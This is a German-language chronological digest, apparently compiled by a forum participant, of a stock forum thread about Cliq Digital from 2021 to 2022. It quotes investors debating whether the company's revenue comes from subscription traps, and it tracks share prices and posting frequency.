      08.04.2021 Kurs 38,25€
      Beitrag #2.542, immer noch 0,8 Beiträge pro Tag bis heute

      09.04.2021 Kurs
      ktitischer Beitrag
      Zitat von archie1974: Fragt sich eigentlich niemand, wo genau die Umsatzverzehnfachung in USA herkommt?
      Und als der Vorstand im CC nach diesen „white label“-Umsätzen gefragt wird, antwortet er völlig ausweichend. Mit welchem Produkt ist denn diese Umsatzexplosion erzielt worden???
      Weiß das jemand?
      Und warum wird auch auf der amerikanischen Webseite von cliq der Preis in Euro statt in US-Dollar angezejgt?
      Zudem werden keine Abonnenten-Zahlen veröffentlicht aus „Wettbewerbsgründen“ - warum machen das alle (mir bekannten) anderen Wettbewerber???
      Ich sehe hier eine Menge verdächtigen Rauch aufsteigen.

      Und ein Standard: Kritisieren kritischer Stimmen, ohne auf den Inhalt einzugehen
      Zitat von goldjunge2000: In den Foren wo über Cliq diskutiert wird tauchen regelmäßig neue User auf, die das Geschäftsmodell kritisch hinterfragen und nach kurze Zeit wieder weg sind. Das Hinterfragen ist ok, doch frage ich mich immer ob das wirklich Aktionäre sind oder sie sich wirklich für die Aktie und das Unternehmen interessieren.

      Es geht auch um das Office in Florida.
      Kritische Stimmen werden mit Hinweis auf die guten Zahlen gekontert, wenig mit Sachargumenten.
      Kurs: 39€

      Tabune mit sachlicher Antwort, 13.04.2021
      Zitat von goldjunge2000: In den Foren wo über Cliq diskutiert wird tauchen regelmäßig neue User auf, die das Geschäftsmodell kritisch hinterfragen und nach kurze Zeit wieder weg sind. Das Hinterfragen ist ok, doch frage ich mich immer ob das wirklich Aktionäre sind oder sie sich wirklich für die Aktie und das Unternehmen interessieren.

      39,70€ Beitrag #2568 (bis heute gerechnet 0,8/Tag)

      14.04.2021 Kritik zur Herkunft der Umsätze
      Zitat von Chrisbus: Evtl. Kommen die Erträge aus Feldern, mit denen man sich PR-mäßig nicht so rühmen kann.
      Bin gespannt , ob und wann mehr Transparenz reinkommt.

      Kurs 40,25€

      19.04.2021
      User berichten von direktem Kontakt mit der IR
      Zitat von Havanna-MTZ: Ich habe tatsächlich mit Herrn McCoskrie (Head of IR) telefoniert und mir viele Fragen beantworten lassen. (...)
      Natürlich wird sofort mit Wirecard verglichen sobald man etwas nicht versteht. Greift zum Telefon, schreibt eine Mail oder seid bei der HV dabei...
      Glaubt ihr ernsthaft das CD Umsätze und Bilanzen fälscht? Denkt ihr nicht das jeder Prüfer nun 10 mal hinschaut um nicht wie EY zu enden? Der Aktionär, Traderfox (Mitarbeiter), Fonds - alle lassen sich täuschen und sind investiert?

      Kurs 34,60€
      Offene Diskussion kritischer Fragen, auch von Fragen, die heute noch aufgeworfen werden. Das wiederholt sich. Sehr positiv, dass einige Teilnehmer sehr sachlich antworten und über ihre Kontakte mit der Firma sprechen.

      28.04.21 VBaluieanleger postet ein Kursziel von 69,22€, Kurs 35,85€

      06.05.2021
      Jimmy20 postet ein Full Quote der Quartalszahlen. Es bleibt 9 Tage ohne Reaktion.
      Kurs: 34,95€

      15.05.2021 kritischer Kommentar zur Nachhaltigkeit
      Zitat von BInvest: https://uk.trustpilot.com/review/red27mobile.com
      Hier nach längerer Zeit mal wieder die Erinnerung, womit zumindest teilweise (mgl. größtenteils?) die Umsätze der Cliq gemacht werden. Solche ‚Geschäftsmodelle‘ können natürlich Cash generieren, die Frage nach der Nachhaltigkeit bleibt aber....

      Kurs 29,35€ (!)

      17.05.2021
      Aussage von Ben Bos wird gepostet und mangelnde Antworten beklagt
      Zitat von Naim1000: MKK

      Die Fragen wurden nicht besonders gut beantwortet leider...


      10.06.2021
      Interessante Einblicke in die Denkweise von Straßenköter
      Zitat von Straßenkoeter:
      Zitat von archie1974: Die Vermutung liegt sehr nahe, dass sie den Großteil der Umsätze und insbesondere der Gewinne nach wie vor mit „Abo-Fallen“ machen. Deshalb auch die Kalkulation mit 7 Monaten durchschnittlicher Abodauer. Von Vorstand und IR wird gemauert bzgl. der konkreten US-Angebote, was die These untermauert. Es wird „überlegt, ob man diesbezüglich mehr Infos herausgeben kann.“
      Abonnentenzahlen werden nicht genannt aus Wettbewerbsgründen. Es bleibt die Hoffnung, dass mehr Transparenz gezeigt wird.
      Ja und? Transparenz würde dem Aktienkurs und dem Ruf des Unternehmens insoweit nur schaden. Warum hoffst du dann darauf?

      Kurs: 23,55€ (#2598, weiterhin 0,8/Tag)

      10.06.2021 Tabune versteht Gewinnmitnahmen nicht
      Zitat von Tabune: Genau schmeisst alle eure Stücke zum Ramschpreis, ich nehme sie gerne auf.
      Typisch Kleinanleger: fängt sofort bei ein paar Panikverkäufen ohne News an, an seinem Investment zu zweifeln. Dabei keine Ahnung von technischer Analyse, geschweige denn von Fundamentalanalyse.
      Es ist doch ganz klar, dass wir im starken Supportbereich hier sind. Zudem läuft der EMA 200 und MA 200 gleich im Bereich von 22/23 Euro. Also einen besseren Kaufzeitpunkt bei solch einem Powermove into strong Support kann sich nun wirklich nicht mehr wünschen...
      (Kurs: 23,90€)

      28.06.2021 - sehr interessante Diskussionen
      Zitat von archie1974: Das hat Prior entweder falsch verstanden oder falsch formuliert.
      Richtig ist, dass 90% des Umsatzes auf Abos zurückgehen, aber nur ein kleiner Teil davon auf das „deutsche“ für 14,99 Euro.
      Der größere Teil sind Abos mit nur kurzer Kundenbindung auf Websites, die wechseln und teilweise abgeschaltet und neu geschaltet werden. (Laut IR)
      Da kann sich dann jeder seinen Teil denken, warum die Kundentreue so gering ist.
      #2608
      Kurs 27,25€

      03.08.2021 (#2.616) Starke Halbjahreszahlen gepostet. Kurs: 25,65€

      Immer noch 03.08.2021. Tabune vergreift sich im Ton, entschuldigt sich sofort. So geht das!
      Zitat von Tabune: Entschuldige, sollte nicht so aggresiv rüberkommen. Ich bin es nur leid, dass immer wieder (bewusst?!) Falschinformationen verbreitet werden, was dann andere potentielle Anleger verunsichert/abschreckt und dem Aktienkurs auch letztlich schaden kann.

      Kurs: 25,00€

      05.08.2021 "was ist denn heute los"
      Zitat von Tabune: Das gleiche wie immer: Der Kurs geht wegen "Sell on good news" runter. Wenn er ein gewisses Verlustmaß überschreitet, fangen die ersten Leute an, ihre Stücke unlimitiert zu schmeißen aus Angst, dass da was im Busch ist bzw. "jmd mehr weiss". Das setzt dann eine Verkaufswelle in Gang. Der Kurs kann dabei locker noch Richtung bzw. sogar unter 20 €. Diese Vola ist bei solchen Small Caps nicht unüblich.

      Kurs: 21,45€

      05.08.2021
      Zitat von hugohebel: Ist der Betrug nun aufgeflogen? :) Dem Kurs nach schon.
      Zitat von hugohebel: Cliq Digital hat schon immer sein Geld mit Abofallen verdient, schon als sie noch Bob Mobile hießen. Ich habe das auch in der Vergangenheit hier mehrmals thematisiert. Es funktioniert halt momentan gut, aber ich habe schon lange den Verdacht dass wir es hier mit einem betrügrischen System zu tun haben was durch Covid einen Schub erhalten hat.

      Kurs 21,55€, 0,8 Beiträge pro Tag bis heute

      05.08.2021 Tabune gegen Hugohebel
      Zitat von hugohebel: Hast du dir den Call angehört? Ben Bos sagt man weigert sich die Partner in den USA zu nennen oder mit wem man dort zusammen arbeitet. Ist das normal? Was hat man da genau zu verbergen?
      Auf die Nachfrage nach den verheerenden Kritiken zu Red Mobile im Internet sagt man nur, ist halt so im b2c Geschäft.
      Zitat von Tabune: Alles gut, du brauchst dich nicht zu erklären oder so. Ich habe doch nur nach ein paar Links/Quellen gefragt, wo man Infos zu diesen Abofallen bzw. unseriösen Abos finden kann... Es geht mir nur darum, ein gesamtheitliches, objektives Bild zu machen, mehr nicht...

      Kurs 21,83€

      06.08.2021 Riesen-Recherche von Tabune
      Zitat von Tabune: Ich habe mal etwas Recherche betrieben

      Kurs 20,05€

      06.08.2021 Antwort darauf
      Zitat von archie1974: Und jetzt stellt Euch mal bitte die Frage:
      Wäre nicht eigentlich der Vorstand in der Bringschuld, diese Informationen an die Aktionäre zu geben?
      Wenn ja: Warum tut er das nicht?

      Kurs: 20,35€

      07.08.2021 Mein erster Beitrag hier
      Zitat von jigajig: Guten Tag, werte Gemeinde.
      Eigentlich bin ich monothematischer Interessierter bei Wirecard (gewesen), aber Cliq Digital finde ich spannend. Muss mich aber hier erst einlesen. Gibt es irgendwelche empfehlenswerten Informationsquellen?

      Kurs: 20,80€ #2654 (0,8/Tag)

      17.08.2021 Der Hashtag #shortcliq taucht auf Teitter auf

      30.09.2021 - der Thread läuft plätschernd - Kursziel Quirin 75€, Kurs: 23,15
      Teilweise 7 Tage kein Beitrag!

      19.10.2021
      Zitat von JTsmartinvest: So langsam kommt wieder Musik in die Aktie rein.
      Wenn jetzt noch der Handelsumsatz steigt und das Sentiment positiv bleibt, bin ich noch optimistischer. Cliq Digital wird seinen Platz im vielumkämpften Streamingmarkt finden. Der Content wird ständig ausgebaut und es findet eine klare Positionierung auf Nischenmärkte statt.
      -Der Umsatz und die Profitabilität steigen. (siehe Prognoseerhöhung vom 17. Sept.)
      -All in One Lösungen mit immer besserem Inhalt sollte neue Kunden anlocken.
      -Deutlich steigende Nutzerzahlen für den Streamingmarkt in den nächsten Monaten
      Im wikifolio ist die Aktie entsprechend stark gewichtet:-)))
      (0,9 Beiträge pro Tasg ab da)
      #2668 Kurs: 23,75€

      Keine Reaktion auf diesen Beitrag bis zum 01.11.2021 (12 Tage ohne jeden Kommentar!)

      02.11.2021
      Zitat von JTsmartinvest: Cliq Digital meldet heute Zahlen zum Q3 und setzt das starke Wachstum fort.

      Kurs 29,40€

      08.11.2021 Ich hatte vergessen, dass ich schon einmal gepostet hatte und tauche wieder auf. Der Satz am Ende heißt übersetzt: ich war der Wirecardjäger ;)
      Zitat von jigajig: Bin mal wieder auf eine Aktie aufmerksam geworden, passiert mir selten. Kann mir bitte jemand erklären, wie Cliq Digital sein Geld verdient und wo und wo man sich das anschauen kann?
      Verbindlichsten Dank
      jigajig
      (PS: ich habe mich ja schon mit cliq digital beschäftigt, da hießen die noch gar nicht Cliq Digtal)

      Kurs: 26,55€
      Hugo Hebel äußert sich kritisch, Tabune bringt eine sehr lange Erklärung
      Zitat von Tabune: Sie betreiben in vielen Ländern Multi- und Single Content Portale, aber nicht unter dem Namen von Cliq (...) Einzig in der DACH Region wird ist es mit Cliq direkt assoziiert (...) Sie machen daher den meisten Umsatz im europäischen Ausland und den USA mit den "anderen" Portalen

      08.11.2021 Ich schreibe meinen ersten "richtigen" Beitrag
      Zitat von jigajig: Ah, ich liebe die Firma jetzt schon, da braucht es Googlekünste, um das ein oder andere rauszukriegen...
      Wenn ich mir anschaue, was man alles so lesen kann seit 2009, hmm, ich weiß nicht, woher die Commerzbank dann den Mut nimmt, cliq 13,5 Mio Darlehen zu geben für ein paar Limiteds... fast jedes Jahr ein neuer Name.

      Kurs 26,18 Beitrag #2678 (ab dann bis heute: 0,9 Beiträge pro Tag)

      09.11.2021
      Der Beitrag von Carl Korn wird geteilt (siehe dazu ausführlich hier)

      09.11.2021
      Ich werde ausführlicher
      Zitat von jigajig: Ich habe hier angefangen, aus meinem Archiv zu schöpfen und es zu ergänzen, damit deutlich wird, dass die Cliq-Leute einen hohen Standard in ihren Antworten haben müssen, um gegen das Misstrauen anzukommen, das ich mit den Recherchen (bewusst) erzeuge. Interessen finanzieller Art habe ich nicht. Und mein Herz hängt auch nicht an diesem Thema. Aber es gibt ja schon motivierte Leute, die sich das anschauen. Bin gespannt, wann Cliq das mitkriegt und hoffentlich ausräumt.

      Kurs: 26,50€

      09.11.2021
      Dirk Hagemann erwähnt Carl Korn zu Cliq Digital auf Twitter und fragt:
      Hallo, #CliqDigital-Aktionäre, könnt ihr noch ruhig schlafen? Wirecardjäger @csFraudAnalysis befasst sich mit eurem Unternehmen und Branchenprofis schauen hinter die Kulissen. (Ich bin nicht engagiert, schaue nur interessiert zu.)

      https://twitter.com/keinSpekulant/status/1457991330727186433

      17.11.2021 - nach einem Monol9g über die Vergangenheit meinerseits wird ein ausführlicher Beitrag geteilt
      Zitat von Jimmy20: DGAP-News: CLIQ Digital AG kündigt neue Content-Deals an


      18.11.2021
      Zitat von jigajig: Motorvision? Das ist (oder war zumindest) Ursuppe der Wirecard :)


      22.11.2021 Ben Bos kauft
      Zitat von Jimmy20: Ben Bos kauft Aktien
      DGAP-DD: Cliq Digital AG deutsch
      22.11.2021 - 15:32 | Quelle: Dow Jones Newswire
      24.8121 EUR 24812.1000 EUR
      e) Datum des Geschäfts
      19.11.2021; UTC+1

      Kurs: 24,40€

      18.12.21 Mephisto wird kommentarlos gepostet
      Zitat von PrivateBanner: https://mephisto.substack.com/p/cliq?showWelcome=true

      Kurs: 24,50€ (Beitrag #2698)(0,9/Tag)

      03.01.2022
      kbhilden versucht, Fundamentales wieder in den Mittelpunkt zu stellen
      Zitat von kb_hilden:
      Wenn am 1. Februar die zuletzt erhöhte und bestätigte Gewinnprognose 2021 eingetreten ist, kann der Markt realisieren, dass das Wachstumunternehmen mit einem KGV <10 noch immer günstig bewertet ist. Auch die Dividende dürfte dank Schuldenfreiheit und hohem freiem Mittelzufluss positiv überraschen.

      Kurs: 24,15€

      01.02.2022 Der schon länger kritisch schreibende Hugohebel spricht von Betrug, postet links und verweist auch auf @csfraudanalysis
      Zitat von hugohebel: Das Unternehmen ist vollständiger Betrug. Das hat nichts mit Angst zu tun, aber hier können über Nacht halt die Lichter ausgehen.

      Kurs: 23,90€

      01.02.2022
      Zitat von valueanleger: Der Kaufdruck ist noch nicht zu Ende.
      Gruß
      Value

      Kurs: 24,60€

      Immer noch 01.02.2022
      Zitat von Tabune:
      Zitat von hugohebel: Hier sind mal 300 Scam Webseiten die von Cliq betrieben werden und Abofallen vertreiben.
      https://pastebin.com/Ld5Kh9wS

      Vielen Dank für die Infos. Ich bin immer offen für kritische Informationen rund um Investments.
      Was du mir aber bei all diese "Scam Webseiten" erklären musst, ist, wo ist der Betrug bzw. Scam dabei?
      (Dies kann ich bestätigen)
      Kurs: 23,95€

      Zwischen dem 06.01.2022 und dem 31.01.2022 gab es 0 postings
      Am 01.02.2022 alleine waren es 20! Der Durchschnitt erreicht jetzt 1 Posting pro Tag bis heute

      02.02.2022 kbilden kontert die Kritik
      Zitat von kb_hilden: Vergleiche die hier mit wirecard hergestellt werden und auch andere Betrugsvorwürfe bauen alleine auf Unterstellungen auf.
      Ich empfehle die Lektüre von Geschäftsbericht, Risikobericht und den geprüften Jahresabschlüssen des im Scale-Segment der Deutschen Börse gelisteten Unternehmens. Das sind Quellen, auf denen auch platow Börse und andere eine Empfehlung gründen.

      Generell kann Betrug nie ausgeschlossen werden. Cliq digital ist schuldenfrei, generiert cashflow, wächst und zahlt einiges an Dividende. Ich sehe hier kein größeres Problem. Ebenso sind Abomodelle im Streaming, Mobilfunk, bei Fitness-Centern etc üblich. Ob diese sich lohnen, entscheiden erwachsene Menschen.


      07.02.22 bis 16.03.33: kein einziger Beitrag
      Kurs: 24,05€

      22.03.2022
      Zitat von Be_eR: Die Dividende dürfte in der Tat mehr Anleger anlocken als die neuen Infos zum Content. Ich kann mir die typische Dividendenjäger-Rally vorstellen. Der Kurs liegt ja auch nicht gerade in astronomischen Höhen trotz stark profitablem Wachstum.
      Cliq ist für mich daher eine trotz der Unkenrufe einzelner Kommentatoren ziemlich sichere Investition, die seit Jahren ohne schlechte Nachrichten seitens des Unternehmens für solides Wachstum sorgt.

      Kurs: 25,05€

      Bis 14.04.22 kein Beitrag
      Zitat von kb_hilden: Heute kein Dividendenabschlag?
      Ich halte die Aktie für unterbewertet, es kann gerne nach oben gehen. Aber heute werden doch 1,10 € Dividende je Aktie verteilt und gehen zu Lasten des Unternehmens? Cliq digital, immer etwas anders... .

      Kurs: 26,60€ (1,10 Divi)
      21.04.2022 Kurs 27,70€

      03.05.2022
      Wieder wird gefragt: "Wo kann man Cliq sehen???"
      Antwort:
      Zitat von Tabune: Du missverstehst da was (wie die meisten anderen hier auch): Cliq betreibt fast alle seine Streaming-Platformen nicht unter der hauseigenen Cliq-Marke, sondern unter anderen Namen. Außerdem ist Deutschland umsatz- und gewinnseitig unrelevant, der Großteil der Einnahmen wird im europäischen Ausland, UK und den USA generiert. Schau mal auf S. 20 im Q1-Bericht, da siehst du, dass die deutschen Tochtergesellschaften praktisch noch defizitär sind, der Großteil der Gewinne wird durch die niederländischen Töchter erzeugt, welche die Platformen für Europa (außer Deutschland) und den USA aufbauen und verwalten.

      Kurs: 25,30€

      Zitat von Tabune: Cliq hüllt sich da auch etwas ins Schweigen, um "Wettbewerbern nicht zu viel preiszugeben". Daher auch immer der Vorwurf, das Cliq eine Blackbox ist.

      Zitat von imperatom: Aber ich finde es schon ziemlich krass, wenn die eigenen Aktionäre offenbar nicht wissen, von welchem Portal das angeblich enorme Wachstum kommen soll. Findest Du das nicht selbst komisch oder vertraust Du Cliqs Zahlen einfach blind?

      Kurs: 24,85 Posting #2763 (1,1 pro Tag)

      03.05.2022
      Zitat von Tabune: Ich habe mich mit der Materie in der Vergangenheit schon genug beschäftigt und bin zu dem Entschluss gekommen, dass ich keinerlei Anzeichen für einen breiten Betrug sehe(...)
      (...) Und Cliq ist ja nicht umsonst so tief bewertet. Ich gehe davon aus, dass, wenn Cliq weiter operativ liefert (vor allem beim Cashflow), es weitere Insiderkäufe gibt und sie weiter an ihrer Transparenz arbeiten, wird der Markt Stück für Stück mehr Vertrauen aufbauen und sich dadurch die Bewertung eventuell anheben. Ob es tatsächlich so kommt, wird sich zeigen. Risikolos ist es nicht, aber chancenlos ebenso wenig.
      Kurs: 24,90€

      Es geht immer noch darum, wo das Geschäft gemacht wird:
      https://www.wallstreet-online.de/diskussion/1132291-291-300/…

      Zitat von kb_hilden: Jedes Quartal die gleiche Diskussion... .
      Die Kunden von cliq digital wissen nicht, dass sie Kunde des Unternehmens sind. Im Geschäftsbericht sind alle Töchter aufgelistet.


      Zitat von imperatom: Wir suchen hier ja überhaupt nur nach möglicherweise erfolgreichen Tochtergesellschaften, weil behauptet wurde, dass der Erfolg Cliqs in den Töchtern "verborgen" sei. Aber offenbar war das nur eine Vermutung.
      Festzuhalten ist, dass Cliq sehr gute Zahlen abliefert, aber niemand zu wissen scheint, mit welchem Produkt dieser angebliche Erfolg zustandekommt. Ich lasse Euch jetzt in Ruhe, wenn ihr wollt, aber passt bloß auf, was ihr hier riskiert.

      04.05.2022, Kurs: 24,80€

      05.05.2022 Platow empfiehlt CD zum Kauf, ohne auf offene Fragen einzugehen
      https://www.platow.de/index.php?id=103120
      Kurs: 27,20€

      05.05.2022 kbhilden
      Zitat von kb_hilden: Es gibt viele deutsche Mittelständler die sich sehr erfolgreich in Nischen bewegen, hier macht es ein Unternehmen im Bereich streaming.


      Es geht viel um Red;obile27 - diese Firma sollte ich mir mal näher ansehen

      06.05.2022
      Zitat von kb_hilden: KGV von 7,2 bei anhaltend hohem Wachstum, den erfüllten Prognosen, der satten Dividende die kommendes Jahr steigen dürfte.
      Beeindruckend günstige Bewertung aktuell.
      (Kurs: 24,35€)

      06.05.2022 imkperatom und kb_hilden diskutieren kontrovers
      Zitat von imperatom:
      Zitat von Tabune: Bevor du hier weiter mit Unwissen glänzt, würde ich dir weiterhin empfehlen, dich erstmal besser zu informieren. Danach kann man dann, hoffentlich auf Faktenbasis, diskutieren.

      Hach, herrlich, da ist er wieder, dieser Beißreflex gegen Kritiker. Es tut mir leid, wenn Du auf Deinem hohen Ross den Eindruck hast, ich könne Dir nicht das Wasser reichen. Vor lauter Überheblichkeit ist Dir allerdings entgangen, dass Du den Kern der Frage überhaupt nicht triffst - und erst recht nicht eine Antwort darauf gibst.
      Einmal versuch ichs noch, mal sehen, ob es dann eine Welle der Arrgoganz oder einen ernstgemeinten Erklärungsversuch daraufhin gibt. Hätte Be_er es nicht mit einem respektvollen Umgang versucht, wäre ich längst aus dem Thread gegangen, vielleicht wäre das für alle angenehmer gewesen. Also, letzter Versuch, ohne Animositäten:

      Es geht um den HJB 2019. Dort gehen über 2/3 des Gewinns an Dritte. Frage:
      Wie müssen die Gewinne auf die Tochtergesellschaften verteilt sein, damit 2/3 des konsolidierten Gewinns an Dritte gehen, OBWOHL die Beteiligung Dritter ja nur bei 0-50% (je nach Tochter) liegt?
      Die Antwort auf diese Frage gibt wichtige Einblicke.

      Kurs: 23,85€

      Immer noch 06.05.2022
      Interview von Ben Bos wird gepostet
      wir sind ein Discounter


      08.05.2022 Immer noch kb_hilden vs imperatom
      Imperatom verlässt das Feld
      Zitat von imperatom: Ich sage weiterhin nicht, dass hier die Aktionäre betrogen werden, aber die Selbstdarstellung im Geschäftsbericht als toller Streaming-Anbieter passt nicht zu den Fakten. Der beste Fall aus Aktionärssicht scheint mir noch, die Zahlen echt sind und "nur" die Kunden hinter die Fichte geführt werden. Wie gut das dann dauerhaft geht, steht auf einem anderen Blatt. Dann verabschiede ich mich dann mal aus dem Thread, damit sich niemand mehr durch benannte Ungereimtheiten in Cliqs geschäft belästigt fühlt. Wenn jemand noch etwas zu CD mit mir diskutieren möchte, dann gerne per PN und etwas kultivierter als es hier zugeht.

      (Kurs: 24,45€)

      09.05.2022
      Und da werde ICH für lange Beiträge kritisiert?
      :)
      Zitat von Tabune: ...

      Kurs: 23,65€

      Dann erst wieder Pause

      weiter geht es im Juni mit neuen Zahlen:
      Zitat von kb_hilden: Sehr stark:
      https://www.finanznachrichten.de/nachrichten-2022-06/5631638…

      15.06.2022 Kurs 24,10€

      kb_hilden postet fleißig und nennt sein persönliches Kursziel
      Zitat von kb_hilden: Ein Kursziel von 46/47 € habe ich mir gesetzt (für Teilverkauf). Das Unternehmen wächst, generiert viel cash, erhöht die Dividende und so wird der Kurs bald nach oben gehen. In den letzten Jahren hat das Unternehmen seine eigenen Prognosen erfüllt! (und regelmäßig wie auch erst kürzlich angehoben).
      (20.06.2022, Kurs: 24,25€)

      23.06.2022 HugoHebel mit einem nicht fundierten Wirecard-Vergleich
      Zitat von hugohebel: Es gibt eben erhebliche Zweifel am Geschäftsmodell. Ich weiß auch gar nicht, warum Anleger die Aktie so toll finden angesichts der klaren Red Flags die es gibt. Wir haben so viele tolle niedrig bewertete Aktien mittlerweile in Deutschland und trotzdem kaufen Anleger ne Bude, die morgen wie eine Wirecard platt sein kann.


      Trotzdem bleibt die Diskussion nüchtern. Muß mal gesagt werden.
      (Kurs: 25.30€)

      Dann wieder tote Hose im Thread

      29.07.2022
      Zitat von kb_hilden: Helau auf ein 52 Wochen-Hoch 🥳

      Kurs: 29,55€

      02.08.2022 - gute Zahlen
      Zitat von kb_hilden: Alles im Plan, um das geplante Rekordergebnis in 2022 zu erreichen:
      'Ausblick 2022
      Der Vorstand bestätigt den Ausblick für 2022: Die Zahl der bezahlten Mitgliedschaften soll bis Ende des Jahres die 2-Millionen-Marke überschrekiten, der Umsatz mindestens 250 Millionen EUR betragen, das EBITDA 2022 mehr als 38 Millionen EUR erreichen und die gesamten Marketingausgaben 90 Millionen EUR übersteigen.'
      https://www.finanznachrichten.de/nachrichten-2022-08/5669956…

      Kurs: 31,35€

      katti, Beer und kb_hilden verwalten den Thread sehr gemütlich

      05.08.2022 Platow empfiehlt.
      Zitat von kb_hilden: Platow Börse empfiehlt cliq digital in der heutigen Ausgabe weiter zum Kauf. Die Q2-Zahlen seien 'durch die Bank stark' gewesen. Wer den Börsenbrief kennt, weiß, dass sie überwiegend fundamental bewerten und nicht vor Risikofreude strotzen.
      Cliq Vorstand Ben Bos wird aus einem Gespräch zitiert: 'Selbst wenn wir im Q3 und Q4 nur auf dem Q2-Niveau verharren, erreichen wir unsere Targets. Wir sind sehr zuversichtlich.'

      Kurs: 31,85€

      09.08.2022 Maradonna2000 mit vernichtender Kritik
      Kurs: 30,50€

      12.08.2022 Beer sagt "Affiliategeschäft" (??)
      Zitat von Be_eR: Das Geschäftsmodell selbst scheinst Du aber weiterhin nicht verstanden zu haben. Werbung für die Produkte der white label Lösungen wird vornehmlich über Social Media gemacht. (...) Der Vertrieb läuft nicht über die Cliq.de ...sondern über die Partner. Es handelt sich hierbei um Affiliate-Geschäft. Ich hoffe, Du kannst damit etwas anfangen.

      Kurs: 33,00€


      12.08.2022
      Maradonna2000 lässt nicht locker
      Zitat von Maradonna2000: ist der Kontrast zwischen maximale Werbegeschrei für Investoren / Kleinanleger versus unauffindbare Info zum eigentlichem Produkt, dem Programm. Wie viele Analysten bezahlen die? 6? 8? Und glaubt ihr die Börsenbriefe berichten auch alle für umsonst? Auf der Cliq Seite wurde heute (12.8.) schon wieder ein Interview mit einem Cliq Manager gepostet ("der Lizenzierungsstar von Cliq"). So gewinnt man zahlende Kunden?

      (Kurs: 32,25€)

      13.08.2022
      Zitat von eschinger: Es muss doch erlaubt sein gewisse Fragen zu stellen? Ich sage nicht das Hoerbie.com eine Abofalle ist, auch das neue Streamingangebot für Deutschland unter Cliq.de wird sicher keine Abofalle sein - damit würde man sich ja selber in's Knie schießen!
      Man hat also sicher eine gewisse Anzahl User die seriös und freiwillig auf die Angebote zurück greifen.
      Aber gewisse Teile der Umsätze ( ich denke große ) und sicher ein ganz dicker Batzen vom Ertrag wird mit großer Wahrscheinlichkeit über dubiose Internetseiten generiert wo die Kunden zumindest teilweise unbewusst ein Abo abschließen und ihnen innerhalb weniger Stunden gegen 50 Euro abgebucht werden.

      Kurs: 32,15€

      mal wieder Statistik zwischendurch?
      ab hier 1,23 Beiträge pro Tag

      23.08.2022 Eschinger vermutet/unterstellt Abzocke:
      https://www.wallstreet-online.de/diskussion/1132291-191-200/…
      Kurs 30,30€

      25.08.2022 katti postet zum Zukauf in UK
      Zitat von kattti: ...hier mal was...Cliq Digital: Contentpayment-Dienstleister kauft in England zu
      von Joachim Graf
      26.07.2017 Die börsennotierte CLIQ Digital AG zur Homepage dieses Unternehmens Relation Browser , Vertriebs- und Marketingdienstleister für digitale Produkte mit eigener Payment-Plattform, hat eine 51%-Mehrheitsbeteiligung an den britischen Gesellschaften Universal Mobile Enterprises Ltd. zur Homepage dieses Unternehmens Relation Browser und Moonlight Mobile Ltd. zur Homepage dieses Unternehmens Relation Browser für einen nicht genannten Preis übernommen.Die übernommenen Firmen besitzen eine starke Marktposition im Vertrieb von mobilem Content mit dem Schwerpunkt Entertainment und Games. Die künftige Nutzung des Know-hows sowie der Infrastruktur der CLIQ Digital Gruppe soll zur Beschleunigung der Expansion beitragen. CLIQ erhofft sich operative Synergien und Cross-Selling-Effekte.

      Kurs: 29,98€

      26.08.2022 Eschinger zur Bewertung von Bewertungen
      Zitat von eschinger: Nichtsdestotrotz ist und bleibt das Geschäftsmodell an einigen Punkten fragwürdig - das habe ich Euch dargestellt und somit war's das dann auch hier für mich - bin kein Boardtroll.
      Lies doch bitte einfach mal die "Meckerkommentare" zu Netflix und dann die zu Playfilms. Bei Netflix beschwert sich einer das was mit Untertitel läuft, oder "übertriebenes Gendern" - das ist was ganz anderes wie Playfilms, wo alle Kommentare zum gleichen Ergebnis führen, nämlich das Eltern sich beschwerden, dass die Kinder unbewusst ein Abo abgeschlossen haben!?
      also Du kannst Dir das gerne so lange schönreden wie Du möchtest - da hat das eine, mit dem anderen, nunmal wirklich nix gemeinsam

      Kurs: 28,75€

      27.08.2022 Tabune zur Idee "Die Leute werden ärmer und Inflationsdruck, daher interessieren sie sich mehr das Discounterangebot von Cliq"
      Hm.
      https://www.wallstreet-online.de/diskussion/1132291-171-180/…
      Kurs: 27,15€

      29.08.2022 Link zum Doppelgänger-Podcast
      Zitat von Weinberg-CP: https://adswizz.podigee-cdn.net/version/1661301617/media/pod…
      Ab Minute 9:45 Uhr.

      Kurs: 27,03€
      Mal wieder Statistik? 1,2 Beiträge pro Tag

      01.09.2022 Beer freut sich über das neue Portal – aber es ist noch nicht da (Kurs: 25,00€)

      30.09.21
      Zitat von hugohebel: Denen fällt am letzten Tag des Septembers ein, dass die Seite nicht funktioniert. Die verschieben ohne festes Datum auf den Sankt Nimmerleinstag... Und ihr denkt euch noch, alles ist super... Solche Aktionäre braucht Ben Bos. Die haut er am liebsten über das Ohr.

      Kurs: 17,68€
      Nächster post erst am 3.11.22 –Die Quartalszahlen
      Kurs: 21,93€

      4.11.2022
      Der Doppelgänger-Podcast erscheint wieder
      Zitat von Luki0815: Einfach mal diesen Podcast ab 9:45 anhören. Das kann so schell in sich zusammen brechen, da hilft dir auch ein stop-loss sehr wenig
      https://www.doppelgaenger.io/173-spotify-%e2%9d%a4%ef%b8%8f-…

      Kb_hilden geht darauf ein. Die Argumente beider Seiten sind bekannt.
      Kurs: 22,80€
      Tabunes ausführliche Analyse am 5.11.22
      Kurs 21,95€
      9.11.22 Quirin mit Kursziel 80€
      Kurs: 24,10€

      21.11.2022 Egbert Prior wird verlinkt
      Kurs: 25,50€
      Beitragsstatistik: ab hier bis heute 2,2 Beiträge pro Tag

      8.12.2022 Maradonna2000 wettert
      Zitat von Maradonna2000: Das ist und bleibt der größte Gaga Wert am deutschen Aktienmarkt. (...) Aber ja, erstaunlich, wie lange dieses Luftschloss sich nun schon an der Börse halten konnte. Das muss man anerkennen.

      Kurs: 26,50€

      Kb_hilden und Goldjunge2000 kontern mit cashflow und Dividende

      15.12.2022 Das neue Portal startet
      Zitat von kb_hilden: Das streamingportal in Deutschland ist online: https://cliq.de/

      Kurs: 26,25€

      30.12.2022 Jigajig wird wieder aktiv
      Zitat von jigajig: Es ist auf diesem Wege keine Abofalle zu erkennen, das ist richtig. Aber kennst Du die Seiten der Affiliates, die das anbieten? (...). Ich sehe aber hier bisher nichts, was mir auffällt, das will ich deutlich sagen. Ich höre mich mal ein bisschen um zwischen den Jahren.

      Kurs: 25,35€
      Ausufernde Beiträge zu Verfehlungen früherer Tage bis hin etwa zu 2019/2020
      Kb_hilden definiert seine eigenen Standards:
